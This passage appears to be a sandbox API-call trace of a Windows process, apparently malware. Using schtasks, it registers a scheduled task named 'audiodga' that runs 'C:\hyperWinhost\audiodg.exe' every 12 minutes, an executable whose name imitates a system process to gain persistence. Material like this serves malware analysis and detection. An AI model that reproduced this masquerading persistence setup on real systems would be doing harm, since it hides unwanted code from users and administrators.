(lpString="|f|") returned 3 [0069.976] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0069.976] SetLastError (dwErrCode=0x490) [0069.976] lstrlenW (lpString="et") returned 2 [0069.977] lstrlenW (lpString="et") returned 2 [0069.977] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.977] lstrlenW (lpString="f") returned 1 [0069.977] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.977] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|et|") returned 4 [0069.977] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.977] lstrlenW (lpString="|et|") returned 4 [0069.977] lstrlenW (lpString="|f|") returned 3 [0069.977] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0069.977] SetLastError (dwErrCode=0x490) [0069.977] lstrlenW (lpString="k") returned 1 [0069.977] lstrlenW (lpString="k") returned 1 [0069.977] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.977] lstrlenW (lpString="f") returned 1 [0069.977] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.977] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|k|") returned 3 [0069.977] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.977] lstrlenW (lpString="|k|") returned 3 [0069.977] lstrlenW (lpString="|f|") returned 3 [0069.977] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0069.977] SetLastError (dwErrCode=0x490) [0069.977] lstrlenW (lpString="du") returned 2 [0069.977] lstrlenW (lpString="du") returned 2 [0069.977] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.977] lstrlenW (lpString="f") returned 1 [0069.977] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.977] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|du|") returned 4 [0069.977] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.978] lstrlenW (lpString="|du|") returned 4 [0069.978] lstrlenW (lpString="|f|") returned 3 [0069.978] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0069.978] SetLastError (dwErrCode=0x490) [0069.978] lstrlenW (lpString="ri") returned 2 [0069.978] lstrlenW (lpString="ri") returned 2 [0069.978] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.978] lstrlenW (lpString="f") returned 1 [0069.978] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.978] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|ri|") returned 4 [0069.978] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.978] lstrlenW (lpString="|ri|") returned 4 [0069.978] lstrlenW (lpString="|f|") returned 3 [0069.978] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0069.978] SetLastError (dwErrCode=0x490) [0069.978] lstrlenW (lpString="z") returned 1 [0069.978] lstrlenW (lpString="z") returned 1 [0069.978] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.978] lstrlenW (lpString="f") returned 1 [0069.978] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.978] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|z|") returned 3 [0069.979] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.979] lstrlenW (lpString="|z|") returned 3 [0069.979] lstrlenW (lpString="|f|") returned 3 [0069.979] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0069.979] SetLastError (dwErrCode=0x490) [0069.979] lstrlenW (lpString="f") returned 1 [0069.979] lstrlenW (lpString="f") returned 1 [0069.979] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.979] lstrlenW (lpString="f") returned 1 [0069.979] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.979] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.979] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.979] lstrlenW (lpString="|f|") returned 3 [0069.979] lstrlenW (lpString="|f|") returned 3 [0069.979] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0069.979] SetLastError (dwErrCode=0x0) [0069.979] SetLastError (dwErrCode=0x0) [0069.979] GetProcessHeap () returned 0x390000 [0069.979] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3ace30 [0069.979] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.979] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x3ad3c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0069.998] lstrlenW (lpString="MINUTE") returned 6 [0069.998] GetProcessHeap () returned 0x390000 [0069.998] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xe) returned 0x3ad680 [0069.998] GetThreadLocale () returned 0x409 [0069.998] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0069.998] SetLastError (dwErrCode=0x0) [0069.999] GetProcessHeap () returned 0x390000 [0069.999] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x1fc) returned 0x3ac470 [0069.999] GetProcessHeap () returned 0x390000 [0069.999] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3ace00 [0069.999] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.999] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x3ad3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0069.999] lstrlenW (lpString="First") returned 5 [0069.999] GetProcessHeap () returned 0x390000 [0069.999] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xc) returned 0x3ad6a0 [0069.999] GetProcessHeap () returned 0x390000 [0069.999] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acdd0 [0069.999] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.999] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x3ad3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0069.999] lstrlenW (lpString="Second") returned 6 [0069.999] GetProcessHeap () returned 0x390000 [0069.999] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xe) returned 0x3ad6c0 [0069.999] GetProcessHeap () returned 0x390000 [0069.999] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acda0 [0069.999] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.999] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x3ad3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0069.999] lstrlenW (lpString="Third") returned 5 [0069.999] GetProcessHeap () returned 0x390000 [0069.999] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xc) returned 0x3ad6e0 [0069.999] GetProcessHeap () returned 0x390000 [0069.999] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acd70 [0069.999] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.999] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x3ad3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0069.999] lstrlenW (lpString="Fourth") returned 6 [0069.999] GetProcessHeap () returned 0x390000 [0069.999] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xe) returned 0x3ad700 [0069.999] GetProcessHeap () returned 0x390000 [0070.000] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acd40 [0070.000] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.000] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x3ad3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0070.000] lstrlenW (lpString="Last") returned 4 [0070.000] GetProcessHeap () returned 0x390000 [0070.000] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xa) returned 0x3ad720 [0070.000] lstrlenW (lpString="12") returned 2 [0070.000] _wtol (_String="12") returned 12 [0070.000] GetProcessHeap () returned 0x390000 [0070.000] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acd10 [0070.000] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.000] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x3ad3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0070.000] lstrlenW (lpString="First") returned 5 [0070.000] GetProcessHeap () returned 0x390000 [0070.000] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xc) returned 0x3ad740 [0070.000] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.000] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x3ad3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0070.000] lstrlenW (lpString="Second") returned 6 [0070.000] GetProcessHeap () returned 0x390000 [0070.000] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xe) returned 0x3ad760 [0070.000] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.000] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x3ad3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0070.000] lstrlenW (lpString="Third") returned 5 [0070.000] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.000] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x3ad3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0070.000] lstrlenW (lpString="Fourth") returned 6 [0070.000] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.000] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x3ad3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0070.001] lstrlenW (lpString="Last") returned 4 [0070.001] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1fc640, cchData=128 | out: lpLCData="0") returned 2 [0070.001] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.001] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x3ad3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0070.001] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0070.001] GetProcessHeap () returned 0x390000 [0070.001] GetProcessHeap () returned 0x390000 [0070.001] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6a0) returned 1 [0070.001] GetProcessHeap () returned 0x390000 [0070.001] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad6a0) returned 0xc [0070.001] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6a0 | out: hHeap=0x390000) returned 1 [0070.001] GetProcessHeap () returned 0x390000 [0070.001] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x16) returned 0x3ad6a0 [0070.001] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1fc660, cchData=128 | out: lpLCData="0") returned 2 [0070.001] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.001] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x3ad3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0070.001] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0070.001] GetProcessHeap () returned 0x390000 [0070.001] GetProcessHeap () returned 0x390000 [0070.001] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6c0) returned 1 [0070.001] GetProcessHeap () returned 0x390000 [0070.001] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad6c0) returned 0xe [0070.001] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6c0 | out: hHeap=0x390000) returned 1 [0070.001] GetProcessHeap () returned 0x390000 [0070.001] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x16) returned 0x3ad6c0 [0070.001] GetLocalTime (in: lpSystemTime=0x1fc890 | out: lpSystemTime=0x1fc890*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x36, wMilliseconds=0x166)) [0070.001] lstrlenW (lpString="") returned 0 [0070.002] GetLocalTime (in: lpSystemTime=0x1fd148 | out: lpSystemTime=0x1fd148*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x36, wMilliseconds=0x166)) [0070.002] lstrlenW (lpString="") returned 0 [0070.002] lstrlenW (lpString="") returned 0 [0070.002] lstrlenW (lpString="") returned 0 [0070.002] lstrlenW (lpString="") returned 0 [0070.002] lstrlenW (lpString="12") returned 2 [0070.002] _wtol (_String="12") returned 12 [0070.002] lstrlenW (lpString="") returned 0 [0070.002] lstrlenW (lpString="") returned 0 [0070.002] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0070.019] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0070.082] CoCreateInstance (in: rclsid=0xff3d1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff3d1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1fcf10 | out: ppv=0x1fcf10*=0x20dee0) returned 0x0 [0070.092] TaskScheduler:ITaskService:Connect (This=0x20dee0, serverName=0x1fcff0*(varType=0x8, wReserved1=0x1f, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1fcfb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x1fcfd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1fcf90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0070.177] TaskScheduler:IUnknown:AddRef (This=0x20dee0) returned 0x2 [0070.177] TaskScheduler:ITaskService:GetFolder (in: This=0x20dee0, Path=0x0, ppFolder=0x1fd0a8 | out: ppFolder=0x1fd0a8*=0x147ca0) returned 0x0 [0070.180] TaskScheduler:ITaskService:NewTask (in: This=0x20dee0, flags=0x0, ppDefinition=0x1fd0a0 | out: ppDefinition=0x1fd0a0*=0x147cf0) returned 0x0 [0070.180] ITaskDefinition:get_Actions (in: This=0x147cf0, ppActions=0x1fd020 | out: ppActions=0x1fd020*=0x147db0) returned 0x0 [0070.180] IActionCollection:Create (in: This=0x147db0, Type=0, ppAction=0x1fd040 | out: ppAction=0x1fd040*=0x146140) returned 0x0 [0070.180] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0070.180] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0070.180] lstrlenW (lpString=" ") returned 1 [0070.180] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0070.180] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0070.180] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0070.180] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0070.181] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0070.181] IUnknown:Release (This=0x146140) returned 0x1 [0070.181] IUnknown:Release (This=0x147db0) returned 0x1 [0070.181] ITaskDefinition:get_Triggers (in: This=0x147cf0, ppTriggers=0x1fcba0 | out: ppTriggers=0x1fcba0*=0x147ef0) returned 0x0 [0070.182] ITriggerCollection:Create (in: This=0x147ef0, Type=1, ppTrigger=0x1fcb98 | out: ppTrigger=0x1fcb98*=0x1461b0) returned 0x0 [0070.182] lstrlenW (lpString="12") returned 2 [0070.182] _vsnwprintf (in: _Buffer=0x1fcb20, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x1fcb18 | out: _Buffer="PT12M") returned 5 [0070.182] ITrigger:get_Repetition (in: This=0x1461b0, ppRepeat=0x1fcb90 | out: ppRepeat=0x1fcb90*=0x146240) returned 0x0 [0070.182] IRepetitionPattern:put_Interval (This=0x146240, Interval="PT12M") returned 0x0 [0070.182] IUnknown:Release (This=0x146240) returned 0x1 [0070.182] _vsnwprintf (in: _Buffer=0x1fcae0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1fcab8 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0070.182] ITrigger:put_StartBoundary (This=0x1461b0, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0070.182] lstrlenW (lpString="") returned 0 [0070.182] lstrlenW (lpString="") returned 0 [0070.182] lstrlenW (lpString="") returned 0 [0070.182] lstrlenW (lpString="") returned 0 [0070.183] IUnknown:Release (This=0x1461b0) returned 0x1 [0070.183] IUnknown:Release (This=0x147ef0) returned 0x1 [0070.183] ITaskDefinition:get_Settings (in: This=0x147cf0, ppSettings=0x1fd040 | out: ppSettings=0x1fd040*=0x145f80) returned 0x0 [0070.183] lstrlenW (lpString="") returned 0 [0070.183] IUnknown:Release (This=0x145f80) returned 0x1 [0070.183] GetLocalTime (in: lpSystemTime=0x1fcef8 | out: lpSystemTime=0x1fcef8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x36, wMilliseconds=0x221)) [0070.183] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0070.183] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0070.183] GetUserNameW (in: lpBuffer=0x1fcf20, pcbBuffer=0x1fcf08 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1fcf08) returned 1 [0070.184] ITaskDefinition:get_RegistrationInfo (in: This=0x147cf0, ppRegistrationInfo=0x1fcef0 | out: ppRegistrationInfo=0x1fcef0*=0x147e30) returned 0x0 [0070.184] IRegistrationInfo:put_Author (This=0x147e30, Author="") returned 0x0 [0070.184] _vsnwprintf (in: _Buffer=0x1fcf20, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1fceb8 | out: _Buffer="2023-09-19T17:16:54") returned 19 [0070.184] IRegistrationInfo:put_Date (This=0x147e30, Date="") returned 0x0 [0070.184] IUnknown:Release (This=0x147e30) returned 0x1 [0070.184] malloc (_Size=0x18) returned 0x1462c0 [0070.185] free (_Block=0x1462c0) [0070.185] lstrlenW (lpString="") returned 0 [0070.185] malloc (_Size=0x18) returned 0x1462c0 [0070.185] ITaskFolder:RegisterTaskDefinition (in: This=0x147ca0, Path="audiodga", pDefinition=0x147cf0, flags=6, UserId=0x1fd190*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1fd1d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1ff0a0, varVal2=0xfe), LogonType=3, sddl=0x1fd1b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1fd0b0 | out: ppTask=0x1fd0b0*=0x146460) returned 0x0 [0070.513] free (_Block=0x1462c0) [0070.514] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.514] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x3ad3c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0070.514] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0070.514] GetProcessHeap () returned 0x390000 [0070.514] GetProcessHeap () returned 0x390000 [0070.514] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6e0) returned 1 [0070.514] GetProcessHeap () returned 0x390000 [0070.514] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad6e0) returned 0xc [0070.514] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6e0 | out: hHeap=0x390000) returned 1 [0070.514] GetProcessHeap () returned 0x390000 [0070.514] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x82) returned 0x3c9ae0 [0070.514] _vsnwprintf (in: _Buffer=0x1fd7f0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1fd058 | out: _Buffer="SUCCESS: The scheduled task \"audiodga\" has successfully been created.\n") returned 70 [0070.514] _fileno (_File=0x7feffe22ab0) returned -2 [0070.514] _errno () returned 0x144bb0 [0070.514] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0070.514] SetLastError (dwErrCode=0x6) [0070.514] lstrlenW (lpString="SUCCESS: The scheduled task \"audiodga\" has successfully been created.\n") returned 70 [0070.515] GetConsoleOutputCP () returned 0x0 [0070.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"audiodga\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0070.515] GetConsoleOutputCP () returned 0x0 [0070.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"audiodga\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0xff411880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"audiodga\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0070.515] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 70 [0070.515] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0070.515] IUnknown:Release (This=0x146460) returned 0x0 [0070.515] TaskScheduler:IUnknown:Release (This=0x147cf0) returned 0x0 [0070.515] TaskScheduler:IUnknown:Release (This=0x147ca0) returned 0x0 [0070.515] TaskScheduler:IUnknown:Release (This=0x20dee0) returned 0x1 [0070.515] lstrlenW (lpString="") returned 0 [0070.515] lstrlenW (lpString="12") returned 2 [0070.515] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="12", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0070.515] GetProcessHeap () returned 0x390000 [0070.515] GetProcessHeap () returned 0x390000 [0070.515] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac470) returned 1 [0070.515] GetProcessHeap () returned 0x390000 [0070.515] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac470) returned 0x1fc [0070.517] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac470 | out: hHeap=0x390000) returned 1 [0070.517] GetProcessHeap () returned 0x390000 [0070.517] GetProcessHeap () returned 0x390000 [0070.517] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abab0) returned 1 [0070.517] GetProcessHeap () returned 0x390000 [0070.517] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abab0) returned 0x6 [0070.517] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x390000) returned 1 [0070.517] GetProcessHeap () returned 0x390000 [0070.517] GetProcessHeap () returned 0x390000 [0070.517] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad640) returned 1 [0070.517] GetProcessHeap () returned 0x390000 [0070.517] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad640) returned 0x16 [0070.517] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad640 | out: hHeap=0x390000) returned 1 [0070.517] GetProcessHeap () returned 0x390000 [0070.517] GetProcessHeap () returned 0x390000 [0070.517] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad620) returned 1 [0070.517] GetProcessHeap () returned 0x390000 [0070.517] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad620) returned 0x18 [0070.517] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad620 | out: hHeap=0x390000) returned 1 [0070.517] GetProcessHeap () returned 0x390000 [0070.517] GetProcessHeap () returned 0x390000 [0070.517] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace90) returned 1 [0070.518] GetProcessHeap () returned 0x390000 [0070.518] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ace90) returned 0x20 [0070.519] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace90 | out: hHeap=0x390000) returned 1 [0070.519] GetProcessHeap () returned 0x390000 [0070.519] GetProcessHeap () returned 0x390000 